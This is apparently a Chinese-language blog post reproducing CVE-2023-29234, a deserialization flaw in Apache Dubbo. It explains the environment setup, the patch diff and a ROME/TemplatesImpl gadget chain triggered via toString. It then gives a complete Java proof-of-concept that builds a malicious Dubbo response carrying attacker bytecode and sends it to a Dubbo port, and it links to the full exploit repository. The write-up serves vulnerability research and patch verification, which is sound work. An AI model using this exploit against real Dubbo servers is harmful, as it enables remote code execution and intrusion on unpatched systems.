前言
叔叔的任务,复现一手 CVE-2023-29234
环境搭建
从官方的漏洞公告可以看到,影响的版本是:
- >= 3.1.0, < 3.1.11
- >= 3.2.0, < 3.2.5
由于dubbo是最潮的微服务项目,所以会用到最潮的ZooKeeper,由于我是windows环境,主要参考的文章是Windows安装Zookeeper
首先去下一份zookeeper,解压之后将conf目录下的zoo_sample.cfg文件,复制一份重命名为zoo.cfg,接着在zoo.cfg配置一下dataDir和dataLogDir路径(对应的日志目录需要自己创建一下)

最后启动zookeeper只需要点一下这个zkServer.cmd即可

接着需要部署一下dubbo环境,这里我选择使用现成的项目:https://github.com/lz2y/DubboPOC,只不过这个项目默认对应的dubbo版本有点低,这里我改成 3.1.5 了,我本地的jdk环境是1.8_65:

但是改完之后他这个环境因为之前的dubbo配置太老了,没办法直接运行 DubboProvider,我这里自己改了很多配置才搭起来,传到 github 上了,最后只需要启动一下 DubboProvider 即可,可以看到日志已经显示 dubbo service started:

漏洞分析
既然是CVE,那么当然需要先去看看commit记录:

可以看到变化不是很大,主要是从
throw new IOException("Response data error, expect Throwable, but get " + obj);
改成了
throw new IOException("Response data error, expect Throwable, but get " + obj.getClass());
二者有什么差别呢?经验丰富的师傅应该知道,如果直接拼接对象 obj 的字符串表示,最后输出的结果会是 obj.toString() 的内容,这可是一个肉眼可见的危险的操作,而 obj.getClass() 只是返回对应的class。
当然,我们本地可以先试试,写个简单的测试代码:
public class Test_tostring {
public static void main(String[] args) {
Object obj = new Demo();
String result = "The object is: " + obj;
System.out.println(result);
}
static class Demo {
@Override
public String toString() {
return "This is the Demo object!";
}
}
}

可以看到就像我们之前说的一样,这里会直接调用对应对象的 toString 方法,在我印象里有非常多的反序列化链子中有 toString,典型的有rome、Jackson等等,而这里由于链子直接从 toString 开始(一般的链子都是从 readObject 开始的),对于攻击者而言利用确实非常的方便。
看了看环境里有rome的依赖,那还是打rome链吧,rome链有两种打法,一种是标准的yso打法,payload较长,另一种是许少提过的 Hashtable 链,可以压缩payload,这里我们还是选择最简单的yso打法吧,我自己很多年前复现过,贴一个链接:https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE%B0/
由于这里的入口点是 toString ,gadget要稍微改改,大概如下:
ObjectBean.toString()
ToStringBean.toString()
TemplatesImpl.getOutputProperties()
简单来说就是用 ObjectBean.toString 触发 ToStringBean.toString(),而 ToStringBean,toString 会调用 getPropertyDescriptors:

getPropertyDescriptors 会分析类的结构,找出哪些方法是标准的 getter/setter 方法,接着在 ToStringBean#toString 的后面就用invoke进行触发了,所以我们只需要传入一个OutputProperties,接着 invoke 就会执行 getOutputProperties:

最后的 Sink 点在 TemplatesImpl,TemplatesImpl.getOutputProperties()可以用于加载字节码,大致的调用过程如下,也算是非常经典了, CB1 和 JDK7u21原生链也是这里作为Sink点:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()
不过按理说这里应该能直接从 ToStringBean.toString() 开始触发?毕竟入口点都是 toString 了。
链子找到了,现在需要看看漏洞怎么触发,反向寻找了一下调用栈,入口点应该是这里的 DecodeableRpcResult#decode ,因为这里的这里有明显的可控值 in,它用于从输入流中反序列化对象的工具(ObjectInput 实例),而下面的 switch 语句可以触发 this.handleException(in)

跟进 DecodeableRpcResult#handleException,可以看到这里调用了 this.setException(in.readThrowable()):

而这个 readThrowable 就是我们的目标了:

总结一下,调用链为:
DecodeableRpcResult#decode -> DecodeableRpcResult#handleException -> ObjectInput#readThrowable
现在得想办法调用 DecodeableRpcResult#decode,在网上找到了一篇讲 Dubbo 的文章:Dubbo 编解码那些事_decodeablerpcresult-CSDN博客 ,这里提到消费者在接收响应时会使用 DecodeableRpcResult#decode 进行解码:

现在我们需要构造一个 Response 信息交给服务端解码,只不过服务端的解码逻辑好像和那个文章里提到的有点不一样,找了找是在 DubboCodec#decodeBody 具体执行的解码操作,可以看到这里它先定义了一个 DecodeableRpcResult 类型的 result,然后触发了 result.decode():

这里涉及到了一点 Dubbo 协议交互的东西,我没怎么看懂,不过看到我学长之前有搞好的:https://github.com/RacerZ-fighting/DubboPOC/blob/main/src/main/java/top/lz2y/vul/CVE202329234.java,这里我只把协议交互的这一部分拆出来了,其他的还是我自己写的。
因为这里的入口点是toString,所以我们也只需要rome链从ToStringBean.toString开始的部分,gadget为:ToStringBean.toString() -> TemplatesImpl#getOutputProperties,完整代码如下(top.lz2y.vul.EvilTest是提前配好的类,主要就是弹了一下计算器):
package top.lz2y.vul;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Serialization;
import org.apache.dubbo.common.serialize.nativejava.NativeJavaObjectOutput;
import org.apache.dubbo.common.serialize.nativejava.NativeJavaSerialization;
import org.apache.dubbo.remoting.exchange.Response;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import javax.xml.transform.Templates;
import java.io.OutputStream;
import java.net.Socket;
import static org.apache.dubbo.rpc.protocol.dubbo.DubboCodec.RESPONSE_WITH_EXCEPTION;
public class CVE202329234 {
protected static final int HEADER_LENGTH = 16;
protected static final short MAGIC = (short) 0xdabb;
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ByteArrayOutputStream boos = new ByteArrayOutputStream();
ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();
Serialization serialization = new NativeJavaSerialization();
NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);
byte[] header = new byte[HEADER_LENGTH];
Bytes.short2bytes(MAGIC, header);
header[2] = serialization.getContentTypeId();
header[3] = Response.OK;
Bytes.long2bytes(1, header, 4);
// payload的生成,因为这里的入口点是toString,所以我们也只需要rome链从ToStringBean.toString开始的部分
// gadget为:ToStringBean.toString() -> TemplatesImpl#getOutputProperties()
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath("target/classes");
CtClass clazzz = pool.get("top.lz2y.vul.EvilTest");
byte[] code = clazzz.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean exp = new ToStringBean(Templates.class, templates);
out.writeByte(RESPONSE_WITH_EXCEPTION);
out.writeObject(exp);
out.flushBuffer();
Bytes.int2bytes(nativeJavaBoos.size(), header, 12);
boos.write(header);
boos.write(nativeJavaBoos.toByteArray());
byte[] responseData = boos.toByteArray();
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(responseData);
outputStream.flush();
outputStream.close();
}
}

包括代码和环境在内都放在github了:https://github.com/Fushuling/DubboPOC